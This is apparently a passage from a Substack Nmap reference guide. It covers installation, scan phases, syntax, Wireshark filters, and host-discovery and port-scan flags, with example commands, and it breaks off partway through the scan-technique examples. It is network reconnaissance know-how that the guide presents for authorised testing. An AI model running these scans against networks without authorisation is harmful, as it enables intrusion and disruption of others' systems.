srcset="https://substackcdn.com/image/fetch/$s_!38vS!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0fcac7bf-58d3-48b9-ba0c-1b30c1ac719a_1000x333.gif 424w, https://substackcdn.com/image/fetch/$s_!38vS!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0fcac7bf-58d3-48b9-ba0c-1b30c1ac719a_1000x333.gif 848w, https://substackcdn.com/image/fetch/$s_!38vS!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0fcac7bf-58d3-48b9-ba0c-1b30c1ac719a_1000x333.gif 1272w, https://substackcdn.com/image/fetch/$s_!38vS!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0fcac7bf-58d3-48b9-ba0c-1b30c1ac719a_1000x333.gif 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!38vS!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0fcac7bf-58d3-48b9-ba0c-1b30c1ac719a_1000x333.gif" width="1000" height="333" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/0fcac7bf-58d3-48b9-ba0c-1b30c1ac719a_1000x333.gif&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:333,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:136638,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:&quot;image/gif&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://cybersecurityclub.substack.com/i/178366643?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0fcac7bf-58d3-48b9-ba0c-1b30c1ac719a_1000x333.gif&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!38vS!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0fcac7bf-58d3-48b9-ba0c-1b30c1ac719a_1000x333.gif 424w, https://substackcdn.com/image/fetch/$s_!38vS!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0fcac7bf-58d3-48b9-ba0c-1b30c1ac719a_1000x333.gif 848w, https://substackcdn.com/image/fetch/$s_!38vS!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0fcac7bf-58d3-48b9-ba0c-1b30c1ac719a_1000x333.gif 1272w, https://substackcdn.com/image/fetch/$s_!38vS!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0fcac7bf-58d3-48b9-ba0c-1b30c1ac719a_1000x333.gif 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>This reference guide covers the core techniques used in professional security testing:</p><ul><li><p><strong>Scanning</strong> - Find live hosts, open ports, and running services</p></li><li><p><strong>Scripting</strong> - Automate vulnerability checks and service enumeration</p></li><li><p><strong>Stealth</strong> - Evade detection and bypass security controls</p></li></ul><p>Use this guide to quickly find the right commands for everything from basic discovery to advanced, low-profile scanning.</p><div><hr></div><h2>Nmap Features</h2><p>Nmap is like a multi-tool knife that can be used for a variety of situations you might find yourself in as an ethical hacker. </p><p>It is most commonly used during the &#8216;Scanning&#8217; phase of ethical hacking, where you are probing machines on a network to determine the best path for gaining access.</p><h3>Core Features:</h3><ul><li><p>which hosts are online</p></li><li><p>which ports and services those hosts expose</p></li><li><p>what software versions are running</p></li><li><p>what operating systems they use</p></li></ul><h3>Nmap Scripts:</h3><p>In addition to the core features, the Nmap Scripting Engine (NSE), which provides custom extensibility for Nmap core can help you:</p><ul><li><p>Identify vulnerabilities</p></li><li><p>Enumerate services &amp; users</p></li><li><p>Detect misconfigurations</p></li><li><p>Audit cryptography &amp; SSL/TLS</p></li><li><p>Perform brute&#8209;force password guessing</p></li><li><p>Probe for malware/backdoors</p></li><li><p>Perform service fuzzing &amp; protocol testing</p></li><li><p>Gather external intelligence</p></li><li><p>Create custom scripts</p></li><li><p><em>&#8230; and much more!</em></p></li></ul><div><hr></div><h2>Nmap History</h2><p>Originally released in 1997 by Gordon &#8220;Fyodor&#8221; Lyon, Nmap started as a small Linux tool to replace many separate port scanners. </p><p>Today, Nmap works on all major operating systems and can be used via the command line or through its graphical interface, <a href="https://nmap.org/zenmap/">Zenmap</a>. </p><p>In this guide, we will focus on the command-line version, which provides the most control and flexibility, though the graphical version can be useful for easier visualization later.</p><div><hr></div><h3>&#9888;&#65038; Disclaimer: Legal Use Only</h3><p>Using Nmap without proper authorization can be considered illegal hacking. Always obtain written permission and clearly understand the scope before scanning. Even non-intrusive scans can trigger alerts or accidentally disrupt services.</p><p><em>The writer of this guide assumes no liability for any misuse, illegal activity, or damage resulting from the information provided.</em></p><div><hr></div><h2>What You&#8217;ll Learn:</h2><p>This guide provides a comprehensive reference for understanding and using Nmap&#8217;s commands and techniques. You&#8217;ll learn how each option works and when to apply it for effective security assessment.</p><h3><strong>In this guide you will learn:</strong></h3><ul><li><p><strong>Core Scanning &amp; Discovery:</strong> Foundational techniques for network reconnaissance, host discovery, and service enumeration.</p></li><li><p><strong>Advanced Scripting &amp; Detection:</strong> Leveraging automated scripts for vulnerability detection, service analysis, and deeper network intelligence gathering.</p></li><li><p><strong>Stealth Operations &amp; Evasion:</strong> Methods for conducting low-profile scanning, bypassing security controls, and avoiding detection during authorized testing.</p></li></ul><p>For detailed technical information, check out the free <a href="https://nmap.org/book/">Nmap book</a> and <a href="https://nmap.org/docs.html">official docs</a> provided by the tool creators.</p><div><hr></div><h2>Pre-Requisites</h2><p>This guide assumes you&#8217;re already familiar with networking fundamentals and penetration testing basics. If you&#8217;re reading this, you should already know:</p><h3>What You Need to Know</h3><ul><li><p><strong>Networking basics</strong>: IP addressing, CIDR notation, TCP vs UDP, common ports, and how firewalls work.</p></li><li><p><strong>Command line</strong>: You can navigate terminals and run commands with sudo/admin privileges on your OS of choice.</p></li></ul><div><hr></div><h2>How to Install Nmap:</h2><p>Installing NMAP is quick and easy, with support for all operating systems.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!8Dl6!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1994fb9b-9728-4e71-9f15-84f6c950b091_1000x333.gif" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!8Dl6!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1994fb9b-9728-4e71-9f15-84f6c950b091_1000x333.gif 424w, https://substackcdn.com/image/fetch/$s_!8Dl6!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1994fb9b-9728-4e71-9f15-84f6c950b091_1000x333.gif 848w, https://substackcdn.com/image/fetch/$s_!8Dl6!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1994fb9b-9728-4e71-9f15-84f6c950b091_1000x333.gif 1272w, https://substackcdn.com/image/fetch/$s_!8Dl6!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1994fb9b-9728-4e71-9f15-84f6c950b091_1000x333.gif 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!8Dl6!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1994fb9b-9728-4e71-9f15-84f6c950b091_1000x333.gif" width="1000" height="333" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/1994fb9b-9728-4e71-9f15-84f6c950b091_1000x333.gif&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:333,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:219471,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:&quot;image/gif&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://cybersecurityclub.substack.com/i/178366643?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1994fb9b-9728-4e71-9f15-84f6c950b091_1000x333.gif&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!8Dl6!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1994fb9b-9728-4e71-9f15-84f6c950b091_1000x333.gif 424w, https://substackcdn.com/image/fetch/$s_!8Dl6!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1994fb9b-9728-4e71-9f15-84f6c950b091_1000x333.gif 848w, https://substackcdn.com/image/fetch/$s_!8Dl6!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1994fb9b-9728-4e71-9f15-84f6c950b091_1000x333.gif 1272w, https://substackcdn.com/image/fetch/$s_!8Dl6!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1994fb9b-9728-4e71-9f15-84f6c950b091_1000x333.gif 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h3>Linux</h3><p><strong>Nmap comes pre-installed on Kali Linux and Parrot Linux. </strong>It&#8217;s still a good idea to update and install to the latest version with the command:</p><pre><code><code>sudo apt update &amp;&amp; sudo apt install nmap</code></code></pre><h3>Windows</h3><p>Download the installer from <a href="https://nmap.org/download.html">https://nmap.org/download.html</a> and run it.</p><p>Run Command Prompt or PowerShell as Administrator for full functionality.</p><h3>macOS</h3><pre><code><code>brew install nmap</code></code></pre><div><hr></div><h4>Detailed Install Instructions</h4><p>Visit the official Nmap website for detailed install instructions.</p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://nmap.org/download&quot;,&quot;text&quot;:&quot;Download Nmap&quot;,&quot;action&quot;:null,&quot;class&quot;:&quot;button-wrapper&quot;}" data-component-name="ButtonCreateButton"><a class="button primary button-wrapper" href="https://nmap.org/download"><span>Download Nmap</span></a></p><div><hr></div><h2>Nmap Scan Phases:</h2><p>When you run an Nmap scan, it executes a series of phases in a specific order. </p><p>Each phase builds on the results of previous phases to gather progressively deeper information about your targets.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!lTNu!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F58e135b0-ea4a-432a-b464-74f5f3b2b2aa_2286x1000.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!lTNu!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F58e135b0-ea4a-432a-b464-74f5f3b2b2aa_2286x1000.png 424w, https://substackcdn.com/image/fetch/$s_!lTNu!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F58e135b0-ea4a-432a-b464-74f5f3b2b2aa_2286x1000.png 848w, https://substackcdn.com/image/fetch/$s_!lTNu!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F58e135b0-ea4a-432a-b464-74f5f3b2b2aa_2286x1000.png 1272w, https://substackcdn.com/image/fetch/$s_!lTNu!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F58e135b0-ea4a-432a-b464-74f5f3b2b2aa_2286x1000.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!lTNu!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F58e135b0-ea4a-432a-b464-74f5f3b2b2aa_2286x1000.png" width="1456" height="637" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/58e135b0-ea4a-432a-b464-74f5f3b2b2aa_2286x1000.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:637,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:749262,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://cybersecurityclub.substack.com/i/178366643?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F58e135b0-ea4a-432a-b464-74f5f3b2b2aa_2286x1000.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!lTNu!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F58e135b0-ea4a-432a-b464-74f5f3b2b2aa_2286x1000.png 424w, https://substackcdn.com/image/fetch/$s_!lTNu!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F58e135b0-ea4a-432a-b464-74f5f3b2b2aa_2286x1000.png 848w, https://substackcdn.com/image/fetch/$s_!lTNu!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F58e135b0-ea4a-432a-b464-74f5f3b2b2aa_2286x1000.png 1272w, https://substackcdn.com/image/fetch/$s_!lTNu!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F58e135b0-ea4a-432a-b464-74f5f3b2b2aa_2286x1000.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Nmap always processes phases sequentially - it completes one phase entirely before moving to the next. You cannot change this order, but you can skip certain phases or add optional ones using command-line options.</p><div><hr></div><h3>The Scan Phases</h3><ol><li><p><strong>Script Pre-Scanning (Optional):</strong> Executes NSE scripts once per entire scan, before targeting individual hosts, for network-wide or global tasks (e.g., broadcast discovery, subnet enumeration, or external queries). Runs only when such scripts are selected.</p></li><li><p><strong>Target Enumeration (Always runs, cannot be skipped):</strong> Converts all input (hostnames, IP addresses, ranges, CIDR blocks, or files) into a flat list of individual IP addresses to process. Required for every subsequent phase. A list-only mode exists to show this list without network activity.</p></li><li><p><strong>Host Discovery (Runs by default, can be skipped):</strong> Sends probes (ARP, ICMP echo, ICMP timestamp, TCP SYN/ACK, UDP, etc.) to determine which hosts are online. Depends on Target Enumeration for the target list. Can be skipped (treats all targets as online) or run alone (no further scanning occurs).</p></li><li><p><strong>Reverse-DNS Resolution (Runs by default, can be skipped):</strong> Resolves hostnames for online IPs; if Host Discovery is skipped, attempts resolution for all targets regardless of status. Improves readability and reveals system purpose. Can be disabled or forced even for hosts marked down.</p></li><li><p><strong>Port Scanning (Runs by default, can be skipped):</strong> Sends probes to specified ports on online hosts (or all targets if Host Discovery is skipped) and classifies each as open, closed, or filtered. Skipping Host Discovery does not skip port scanning; it ensures scanning runs on every target. Use discovery-only mode to skip port scanning entirely.</p></li><li><p><strong>Service Version Detection (Optional):</strong> Probes open ports to identify running software and versions by analyzing responses against a database of over 6,500 service signatures. Depends on Port Scanning to find open ports.</p></li><li><p><strong>OS Detection (Optional):</strong> Analyzes TCP/IP stack characteristics from port scan responses to identify OS and version, matching against a database of over 1,000 fingerprints. Requires Port Scanning for data.</p></li><li><p><strong>Traceroute (Optional):</strong> Determines the network path to each target using optimized probe packets based on Host Discovery and Port Scanning results. Runs in parallel for efficiency.</p></li><li><p><strong>Script Scanning (Optional):</strong> Executes NSE scripts against individual hosts and open ports for vulnerability checks, service enumeration, or advanced fingerprinting. Most scripts target open ports, so depends on Port Scanning.</p></li><li><p><strong>Output (Always runs):</strong> Collects all results from prior phases and writes them to screen or file in the chosen format (normal, XML, JSON, grepable, etc.). Depends on completion of all active phases.</p></li><li><p><strong>Script Post-Scanning (Optional):</strong> Runs NSE scripts after all scanning and output are complete for final reporting, aggregation, or custom processing. Rarely used unless custom scripts are written.</p></li></ol><div><hr></div><h2>Nmap Syntax</h2><p>NMAP commands use a semi-structured format that make it easy to swap out various functions and features. Nmap commands are made up of three parts:</p><ol><li><p><strong>Scan Type:</strong> Defines the probing method and scope for each host, like checking for open ports, identifying software versions, or detecting operating systems.</p></li><li><p><strong>Scan Options:</strong> Additional settings that control scan behavior like speed, output format, or how much detail to show.</p></li><li><p><strong>Target Specifications:</strong> The systems you want to scan, whether that&#8217;s a single computer, a website, or an entire network.</p></li></ol><p>The syntax is flexible as long as the command starts with <code>nmap</code> and includes at least one target. You can place scan types, options, and targets in any order after the <code>nmap</code> command. The typical syntax is as follows:</p><pre><code><code>nmap [ Scan Type ] [ Scan Options ] &lt;target specification&gt;</code></code></pre><div><hr></div><h2>Learning Tip: Nmap + Wireshark</h2><p>When you&#8217;re learning Nmap, it can be helpful to run commands on Nmap and watch how they translate to network traffic in <a href="https://www.wireshark.org/">Wireshark</a>. </p><p>This lets you see exactly what packets Nmap sends and how targets respond, making it easier to understand what each scan type and option actually does at the network level. Use Wireshark filters to view specific traffic:</p><pre><code><code># Wireshark Filter Cheat Sheet

# Show packets coming from a specific IP
ip.src == &lt;receiver host ip&gt;

# Show packets going to a specific IP
ip.dst == &lt;sender host ip&gt;

# Show all packets to or from a specific IP
ip.addr == &lt;host ip&gt;

# Combine filters with &amp;&amp; for more specific traffic
ip.src == &lt;source ip&gt; &amp;&amp; ip.dst == &lt;destination ip&gt;

# Filter by protocol
tcp
udp
icmp
arp

# Filter by port number
tcp.port == 80
udp.port == 53

# Combine protocol and IP filters
tcp &amp;&amp; ip.addr == &lt;host ip&gt;</code></code></pre><div><hr></div><h2>Scan Type</h2><p>Defines the probing method and scope for each host, specifying which ports and protocols are exercised and the depth of enumeration performed. </p><p>Use these settings to select the probing technique (e.g., SYN, UDP, version/OS detection, scripts) and control exactly what info you want to collect from every target.</p><div><hr></div><h3>Host Discovery</h3><p><strong>Determine which hosts are alive on the network</strong> before performing detailed port scanning. Nmap offers various discovery techniques including ICMP probes, TCP/UDP packet probes, ARP requests for local networks, or options to skip discovery entirely when needed.</p><ul><li><p><code>-sn</code> : Disable port scanning; perform host discovery probes (ICMP/TCP/ARP by default depending on privileges). Use when you only want a list of live hosts.</p></li><li><p><code>-Pn</code> : Skip host discovery entirely and assume all targets are up; proceed directly to port scanning. Useful when ping probes are blocked.</p></li><li><p><code>-PR</code> : Use ARP requests for discovery on local Ethernet networks; fast and reliable but only works on the same LAN.</p></li><li><p><code>-PE</code> : Sends an ICMP Echo Request packet (ping) to the target host. If the host is alive and responds, it will send back an ICMP Echo Reply. This is the standard ping method that most users are familiar with. However, many firewalls and hosts are configured to block or ignore ICMP Echo Requests, which can result in false negatives where active hosts appear to be down.</p></li><li><p><code>-PP</code> : Sends an ICMP Timestamp Request to the target host, which queries the remote system for its current time. If the host is active, it responds with an ICMP Timestamp Reply containing the system time. This method can be useful as an alternative when ICMP Echo Requests are blocked, since some firewalls may allow Timestamp Requests while blocking standard pings. However, Timestamp Requests are less commonly used and may also be filtered.</p></li><li><p><code>-PM</code> : Sends an ICMP Address Mask Request to the target host, which was originally designed to query routers and hosts for their subnet mask information. If the host responds with an ICMP Address Mask Reply, it indicates the host is active. This is another alternative discovery method when Echo Requests are blocked. Like Timestamp Requests, Netmask Requests are relatively uncommon and may bypass some firewall configurations, though modern systems rarely respond to these queries as they&#8217;re largely obsolete.</p></li><li><p><code>-PS[portlist]</code> : Send TCP SYN probes to the listed ports for discovery (default common ports if none specified); useful when ICMP is filtered.</p></li><li><p><code>-PA[portlist]</code> : Send TCP ACK probes to the listed ports for discovery; useful to test stateful firewall behavior.</p></li><li><p><code>-PU[portlist]</code> : Send UDP probes to the listed ports for discovery; can elicit ICMP port unreachable replies that prove a host is up.</p></li></ul><pre><code><code># -sn : Disable port scanning; perform host discovery only
nmap -sn 192.168.1.0/24

# -Pn : Skip host discovery, assume all targets are up
nmap -Pn 192.168.1.10

# -PR : ARP ping for local network discovery
nmap -PR 192.168.1.0/24

# -PE : ICMP Echo Request (standard ping)
nmap -PE 192.168.1.10

# -PP : ICMP Timestamp Request
nmap -PP 192.168.1.10

# -PM : ICMP Netmask Request
nmap -PM 192.168.1.10

# -PS[portlist] : TCP SYN probe discovery
nmap -PS80,443 192.168.1.10

# -PA[portlist] : TCP ACK probe discovery
nmap -PA80,443 192.168.1.10

# -PU[portlist] : UDP probe discovery
nmap -PU53,161 192.168.1.10</code></code></pre><p><strong>Privilege note:</strong> Privilege affects host discovery: privileged runs use raw packets and ARP for accurate detection, while unprivileged runs use connect-style probes, which rely on the OS to complete TCP connections and may be slower or more detectable.</p><div><hr></div><h3>Scan Techniques</h3><p>Probe live hosts to find open ports and gather service and system details. Choose scan types to balance speed, stealth, and accuracy; enable detection features only when you need deeper information.</p><ul><li><p>-sS: TCP SYN scan (half-open). Sends SYN packets and resets the connection immediately upon receiving a SYN-ACK. Fast, stealthy, and less likely to be logged. Requires root/admin privileges to craft raw packets.</p></li><li><p>-sT: TCP connect scan. Uses the operating system&#8217;s full TCP connection handshake (SYN, SYN-ACK, ACK). Slower and more visible in logs. Works without elevated privileges but generates more network noise.</p></li><li><p>-sU: UDP scan. Sends UDP packets to target ports. Many UDP services do not respond, so open ports often appear as &#8220;open|filtered.&#8221; Slower due to rate limiting and timeouts. Useful for discovering DNS, SNMP, or DHCP services.</p></li><li><p>-sA: TCP ACK scan. Sends ACK packets to map firewall rulesets. Helps determine whether ports are filtered (stateful firewall) or unfiltered. Does not identify open ports directly.</p></li><li><p>-sN: Null scan. Sends TCP packets with no flags set. RFC-compliant closed ports send RST; open ports don&#8217;t respond.</p></li><li><p>-sF: FIN scan. Sends TCP packets with only FIN flag set. Same behavior as Null scan.</p></li><li><p>-sX: Xmas scan. Sends TCP packets with FIN, PSH, and URG flags (lit up like a Christmas tree). Same behavior as Null and FIN scans.</p></li><li><p>-sO: IP protocol scan. Sends packets with different protocol numbers (e.g., ICMP=1, IGMP=2, GRE=47) to discover which protocols the host supports beyond TCP and UDP.</p></li></ul><pre><code><code># TCP SYN scan (half-open), fast and stealthy; requires elevated privileges
sudo nmap -sS 192.0.2.10

# TCP connect scan, uses OS connect call, visible in logs and does not require privileges
nmap -sT scanme.nmap.org

# UDP scan for DNS and SNMP; slower and often returns open|filtered
sudo nmap -sU -p 53,161 192.0.2.20

# TCP ACK scan to map firewall rules and detect filtered ports
nmap -sA 10.0.0.5

# Null scan (no flags) to probe TCP stack responses
nmap -sN 192.168.1.20

# FIN scan to probe TCP stack responses
nmap -sF 192.168.1.20

# Xmas scan (FIN+PSH+URG) to probe TCP stack responses
nmap -sX 192.168.1.20

# IP protocol scan to enumerate supported IP protocols (ICMP, GRE, etc.)
